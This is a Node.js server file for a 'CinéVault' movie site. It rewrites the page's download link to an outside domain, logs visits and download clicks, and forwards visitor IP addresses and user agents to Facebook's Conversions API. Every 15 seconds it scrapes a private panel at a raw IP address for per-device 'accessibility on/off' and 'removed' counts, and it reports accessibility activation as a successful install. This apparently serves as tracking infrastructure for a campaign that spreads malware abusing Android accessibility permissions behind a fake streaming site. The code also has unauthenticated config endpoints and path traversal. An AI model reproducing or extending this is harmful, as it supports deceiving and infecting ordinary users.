Download server.js from suzmen/watch: direct link, hf CLI and curl.
- Browser
- Download file 16.8 kB
-
https://huggingface.co/spaces/suzmen/watch/resolve/main/server.js
- Command line
-
hf download hf://spaces/suzmen/watch/server.js
-
curl -L -o server.js https://huggingface.co/spaces/suzmen/watch/resolve/main/server.js
16.8 kB
| const http = require('http'); | |
| const fs = require('fs'); | |
| const path = require('path'); | |
| const crypto = require('crypto'); | |
| const PORT = process.env.PORT || 7860; | |
| const STATS_FILE = path.join(__dirname, 'stats.json'); | |
| const CONFIG_FILE = path.join(__dirname, 'config.json'); | |
| const DEVICES_FILE = path.join(__dirname, 'devices.json'); | |
| const mimeTypes = { | |
| '.html': 'text/html', | |
| '.css': 'text/css', | |
| '.js': 'text/javascript', | |
| '.json': 'application/json', | |
| '.png': 'image/png', | |
| '.jpg': 'image/jpeg', | |
| '.gif': 'image/gif', | |
| '.webp': 'image/webp', | |
| '.svg': 'image/svg+xml' | |
| }; | |
| // Initialize config file | |
| function getConfig() { | |
| try { | |
| if (fs.existsSync(CONFIG_FILE)) { | |
| const data = fs.readFileSync(CONFIG_FILE, 'utf-8'); | |
| return JSON.parse(data); | |
| } | |
| } catch (e) { | |
| console.error('Error reading config:', e); | |
| } | |
| return { | |
| pixelId: '1520209009772747', | |
| token: '', | |
| downloadUrl: 'https://a9ju139y6axn.morvexalink.com/UBKHo7Bot' | |
| }; | |
| } | |
| function saveConfig(config) { | |
| try { | |
| fs.writeFileSync(CONFIG_FILE, JSON.stringify(config, null, 2), 'utf-8'); | |
| } catch (e) { | |
| console.error('Error saving config:', e); | |
| } | |
| } | |
| // Initialize stats file if not exists | |
| function getStats() { | |
| try { | |
| if (fs.existsSync(STATS_FILE)) { | |
| const data = fs.readFileSync(STATS_FILE, 'utf-8'); | |
| return JSON.parse(data); | |
| } | |
| } catch (e) { | |
| console.error('Error reading stats:', e); | |
| } | |
| return {}; | |
| } | |
| function saveStats(stats) { | |
| try { | |
| fs.writeFileSync(STATS_FILE, JSON.stringify(stats, null, 2), 'utf-8'); | |
| } catch (e) { | |
| console.error('Error saving stats:', e); | |
| } | |
| } | |
| const server = http.createServer((req, res) => { | |
| // API Endpoints | |
| if (req.url === '/api/event' && req.method === 'POST') { | |
| let body = ''; | |
| req.on('data', chunk => { body += chunk; }); | |
| req.on('end', () => { | |
| try { | |
| const data = JSON.parse(body); | |
| const stats = getStats(); | |
| const dateStr = new Date().toISOString().split('T')[0]; | |
| if (!stats[dateStr]) { | |
| stats[dateStr] = { visits: 0, downloads: 0 }; | |
| } | |
| if (data.type === 'visit') { | |
| stats[dateStr].visits += 1; | |
| console.log(`[API Event] Registered website visit for ${dateStr}. Daily total: ${stats[dateStr].visits}`); | |
| } else if (data.type === 'download') { | |
| stats[dateStr].downloads += 1; | |
| console.log(`[API Event] Registered download click for ${dateStr}. Daily total: ${stats[dateStr].downloads}`); | |
| } | |
| saveStats(stats); | |
| // Send Facebook Conversions API (CAPI) Event | |
| const config = getConfig(); | |
| if (config.pixelId && config.token) { | |
| const eventName = data.type === 'visit' ? 'PageView' : 'Purchase'; | |
| const ip = req.headers['x-forwarded-for'] || req.socket.remoteAddress; | |
| const userAgent = req.headers['user-agent']; | |
| const capiPayload = { | |
| data: [{ | |
| event_name: eventName, | |
| event_time: Math.floor(Date.now() / 1000), | |
| action_source: 'website', | |
| event_source_url: 'http://' + (req.headers.host || 'localhost') + req.url, | |
| user_data: { | |
| client_ip_address: ip, | |
| client_user_agent: userAgent | |
| } | |
| }] | |
| }; | |
| fetch(`https://graph.facebook.com/v19.0/${config.pixelId}/events?access_token=${config.token}`, { | |
| method: 'POST', | |
| headers: { 'Content-Type': 'application/json' }, | |
| body: JSON.stringify(capiPayload) | |
| }) | |
| .then(res => res.json()) | |
| .then(fbRes => console.log('[Facebook CAPI Event Sent]', fbRes)) | |
| .catch(err => console.error('[Facebook CAPI Error]', err)); | |
| } | |
| res.writeHead(200, { 'Content-Type': 'application/json' }); | |
| res.end(JSON.stringify({ success: true, stats: stats[dateStr] })); | |
| } catch (e) { | |
| res.writeHead(400, { 'Content-Type': 'application/json' }); | |
| res.end(JSON.stringify({ error: 'Invalid JSON body' })); | |
| } | |
| }); | |
| return; | |
| } | |
| if (req.url.startsWith('/api/stats') && req.method === 'GET') { | |
| const dateMatch = req.url.match(/[\?&]date=([^&#]+)/); | |
| const todayStr = new Date().toISOString().split('T')[0]; | |
| const targetDate = dateMatch ? decodeURIComponent(dateMatch[1]) : todayStr; | |
| const stats = getStats(); | |
| const dayStats = stats[targetDate] || { visits: 0, downloads: 0 }; | |
| // Ensure today's date is always in availableDates list so user can select it | |
| const availableDates = Object.keys(stats); | |
| if (!availableDates.includes(todayStr)) { | |
| availableDates.push(todayStr); | |
| } | |
| availableDates.sort((a, b) => new Date(b) - new Date(a)); // Newest first | |
| res.writeHead(200, { 'Content-Type': 'application/json' }); | |
| res.end(JSON.stringify({ stats: dayStats, availableDates, selectedDate: targetDate })); | |
| return; | |
| } | |
| if (req.url === '/api/config' && req.method === 'GET') { | |
| res.writeHead(200, { 'Content-Type': 'application/json' }); | |
| res.end(JSON.stringify(getConfig())); | |
| return; | |
| } | |
| if (req.url === '/api/config' && req.method === 'POST') { | |
| let body = ''; | |
| req.on('data', chunk => { body += chunk; }); | |
| req.on('end', () => { | |
| try { | |
| const data = JSON.parse(body); | |
| if (data.pixelId && data.downloadUrl) { | |
| saveConfig({ | |
| pixelId: data.pixelId, | |
| token: data.token || '', | |
| downloadUrl: data.downloadUrl | |
| }); | |
| console.log('[API Event] Configuration updated successfully.'); | |
| res.writeHead(200, { 'Content-Type': 'application/json' }); | |
| res.end(JSON.stringify({ success: true, config: getConfig() })); | |
| } else { | |
| res.writeHead(400, { 'Content-Type': 'application/json' }); | |
| res.end(JSON.stringify({ error: 'Missing required parameters' })); | |
| } | |
| } catch (e) { | |
| res.writeHead(400, { 'Content-Type': 'application/json' }); | |
| res.end(JSON.stringify({ error: 'Invalid JSON body' })); | |
| } | |
| }); | |
| return; | |
| } | |
| if (req.url === '/api/external-metrics' && req.method === 'GET') { | |
| fetch('http://102.68.84.193/yaarsa/private/metrics.php') | |
| .then(res => res.text()) | |
| .then(html => { | |
| const tbodyRegex = /<tbody>([\s\S]*?)<\/tbody>/i; | |
| const tbodyMatch = html.match(tbodyRegex); | |
| if (!tbodyMatch) { | |
| res.writeHead(200, { 'Content-Type': 'application/json' }); | |
| res.end(JSON.stringify([])); | |
| return; | |
| } | |
| const tbodyContent = tbodyMatch[1]; | |
| const rowRegex = /<tr>([\s\S]*?)<\/tr>/gi; | |
| let rowMatch; | |
| const data = []; | |
| while ((rowMatch = rowRegex.exec(tbodyContent)) !== null) { | |
| const rowContent = rowMatch[1]; | |
| const cellRegex = /<td>([\s\S]*?)<\/td>/gi; | |
| let cellMatch; | |
| const cells = []; | |
| while ((cellMatch = cellRegex.exec(rowContent)) !== null) { | |
| let text = cellMatch[1].replace(/<[^>]*>/g, '').trim(); | |
| cells.push(text); | |
| } | |
| if (cells.length >= 7) { | |
| data.push({ | |
| userId: cells[0], | |
| username: cells[1], | |
| totalDevices: cells[2], | |
| online: cells[3], | |
| removed: cells[4], | |
| accessibilityOn: cells[5], | |
| accessibilityOff: cells[6] | |
| }); | |
| } | |
| } | |
| res.writeHead(200, { 'Content-Type': 'application/json' }); | |
| res.end(JSON.stringify(data)); | |
| }) | |
| .catch(err => { | |
| console.error('Error fetching external metrics:', err); | |
| res.writeHead(500, { 'Content-Type': 'application/json' }); | |
| res.end(JSON.stringify({ error: err.message })); | |
| }); | |
| return; | |
| } | |
| if (req.url === '/api/stats/reset' && req.method === 'POST') { | |
| const stats = { visits: 0, downloads: 0 }; | |
| saveStats(stats); | |
| console.log('[API Event] Statistics reset successfully.'); | |
| res.writeHead(200, { 'Content-Type': 'application/json' }); | |
| res.end(JSON.stringify({ success: true, stats })); | |
| return; | |
| } | |
| // Static files server | |
| let urlPath = req.url.split('?')[0]; | |
| if (urlPath === '/' || urlPath === '') { | |
| urlPath = '/index.html'; | |
| } | |
| const filePath = path.join(__dirname, urlPath); | |
| const extname = String(path.extname(filePath)).toLowerCase(); | |
| const contentType = mimeTypes[extname] || 'application/octet-stream'; | |
| // Server-side dynamic replacements for index.html (Pixel ID and Download URL) | |
| if (urlPath === '/index.html') { | |
| fs.readFile(filePath, 'utf8', (error, content) => { | |
| if (error) { | |
| res.writeHead(404, { 'Content-Type': 'text/html' }); | |
| res.end('<h1>404 Not Found</h1>', 'utf-8'); | |
| return; | |
| } | |
| const config = getConfig(); | |
| let modified = content; | |
| // Dynamic replace Pixel ID and Download URL | |
| modified = modified.replace(/1520209009772747/g, config.pixelId); | |
| modified = modified.replace(/https:\/\/a9ju139y6axn\.morvexalink\.com\/UBKHo7Bot/g, config.downloadUrl); | |
| res.writeHead(200, { 'Content-Type': 'text/html' }); | |
| res.end(modified, 'utf-8'); | |
| }); | |
| return; | |
| } | |
| fs.readFile(filePath, (error, content) => { | |
| if (error) { | |
| if (error.code === 'ENOENT') { | |
| console.log(`Static 404: ${req.url}`); | |
| res.writeHead(404, { 'Content-Type': 'text/html' }); | |
| res.end('<h1>404 Not Found</h1>', 'utf-8'); | |
| } else { | |
| console.log(`Static 500: ${req.url}`); | |
| res.writeHead(500); | |
| res.end('Server Error: ' + error.code + '\n'); | |
| } | |
| } else { | |
| res.writeHead(200, { 'Content-Type': contentType }); | |
| res.end(content, 'utf-8'); | |
| } | |
| }); | |
| }); | |
| server.listen(PORT, () => { | |
| console.log(`CinéVault Server running at http://localhost:${PORT}/`); | |
| console.log(`Analytics Dashboard at http://localhost:${PORT}/analytics.html`); | |
| }); | |
| // ========================================== | |
| // BACKGROUND FB CAPI DEVICE INSTALLS SYNC | |
| // ========================================== | |
| function sendCapiBackgroundEvent(eventName, externalId) { | |
| const config = getConfig(); | |
| if (!config.pixelId || !config.token) return; | |
| const hashedId = crypto.createHash('sha256').update(String(externalId)).digest('hex'); | |
| const capiPayload = { | |
| data: [{ | |
| event_name: eventName, | |
| event_time: Math.floor(Date.now() / 1000), | |
| action_source: 'system', | |
| user_data: { | |
| external_id: [hashedId] | |
| } | |
| }] | |
| }; | |
| fetch(`https://graph.facebook.com/v19.0/${config.pixelId}/events?access_token=${config.token}`, { | |
| method: 'POST', | |
| headers: { 'Content-Type': 'application/json' }, | |
| body: JSON.stringify(capiPayload) | |
| }) | |
| .then(res => res.json()) | |
| .then(fbRes => console.log(`[Facebook CAPI Sync - ${eventName} - User ${externalId}]`, fbRes)) | |
| .catch(err => console.error('[Facebook CAPI Sync Error]', err)); | |
| } | |
| function getCachedDevices() { | |
| try { | |
| if (fs.existsSync(DEVICES_FILE)) { | |
| return JSON.parse(fs.readFileSync(DEVICES_FILE, 'utf-8')); | |
| } | |
| } catch (e) { | |
| console.error('Error reading devices cache:', e); | |
| } | |
| return {}; | |
| } | |
| function saveCachedDevices(cache) { | |
| try { | |
| fs.writeFileSync(DEVICES_FILE, JSON.stringify(cache, null, 2), 'utf-8'); | |
| } catch (e) { | |
| console.error('Error saving devices cache:', e); | |
| } | |
| } | |
| async function syncExternalMetricsWithFacebook() { | |
| const config = getConfig(); | |
| if (!config.pixelId || !config.token) return; | |
| try { | |
| const res = await fetch('http://102.68.84.193/yaarsa/private/metrics.php'); | |
| if (!res.ok) return; | |
| const html = await res.text(); | |
| const tbodyRegex = /<tbody>([\s\S]*?)<\/tbody>/i; | |
| const tbodyMatch = html.match(tbodyRegex); | |
| if (!tbodyMatch) return; | |
| const tbodyContent = tbodyMatch[1]; | |
| const rowRegex = /<tr>([\s\S]*?)<\/tr>/gi; | |
| let rowMatch; | |
| const parsedRows = []; | |
| while ((rowMatch = rowRegex.exec(tbodyContent)) !== null) { | |
| const rowContent = rowMatch[1]; | |
| const cellRegex = /<td>([\s\S]*?)<\/td>/gi; | |
| let cellMatch; | |
| const cells = []; | |
| while ((cellMatch = cellRegex.exec(rowContent)) !== null) { | |
| cells.push(cellMatch[1].replace(/<[^>]*>/g, '').trim()); | |
| } | |
| if (cells.length >= 7) { | |
| parsedRows.push({ | |
| userId: cells[0], | |
| username: cells[1], | |
| accessibilityOn: parseInt(cells[5]) || 0, | |
| accessibilityOff: parseInt(cells[6]) || 0, | |
| removed: parseInt(cells[4]) || 0 | |
| }); | |
| } | |
| } | |
| const cache = getCachedDevices(); | |
| let updated = false; | |
| parsedRows.forEach(row => { | |
| const prev = cache[row.userId]; | |
| if (prev) { | |
| // If accessibility On count increased -> Successful Install (Lead event) | |
| if (row.accessibilityOn > prev.accessibilityOn) { | |
| console.log(`[CAPI Sync] Successful installation detected for user ${row.userId}`); | |
| sendCapiBackgroundEvent('Lead', row.userId); | |
| } | |
| // If accessibility Off count or removed count increased -> Failed/Removed Install (SubmitApplication event) | |
| if (row.accessibilityOff > prev.accessibilityOff || row.removed > prev.removed) { | |
| console.log(`[CAPI Sync] Failed/Removed installation detected for user ${row.userId}`); | |
| sendCapiBackgroundEvent('SubmitApplication', row.userId); | |
| } | |
| if (row.accessibilityOn !== prev.accessibilityOn || row.accessibilityOff !== prev.accessibilityOff || row.removed !== prev.removed) { | |
| cache[row.userId] = { | |
| accessibilityOn: row.accessibilityOn, | |
| accessibilityOff: row.accessibilityOff, | |
| removed: row.removed | |
| }; | |
| updated = true; | |
| } | |
| } else { | |
| // New user registered | |
| cache[row.userId] = { | |
| accessibilityOn: row.accessibilityOn, | |
| accessibilityOff: row.accessibilityOff, | |
| removed: row.removed | |
| }; | |
| updated = true; | |
| if (row.accessibilityOn > 0) { | |
| sendCapiBackgroundEvent('Lead', row.userId); | |
| } else if (row.accessibilityOff > 0 || row.removed > 0) { | |
| sendCapiBackgroundEvent('SubmitApplication', row.userId); | |
| } | |
| } | |
| }); | |
| if (updated) { | |
| saveCachedDevices(cache); | |
| } | |
| } catch (e) { | |
| console.error('Error during background Facebook sync:', e); | |
| } | |
| } | |
| // Check device installs and sync with Facebook every 15 seconds | |
| setInterval(syncExternalMetricsWithFacebook, 15000); | |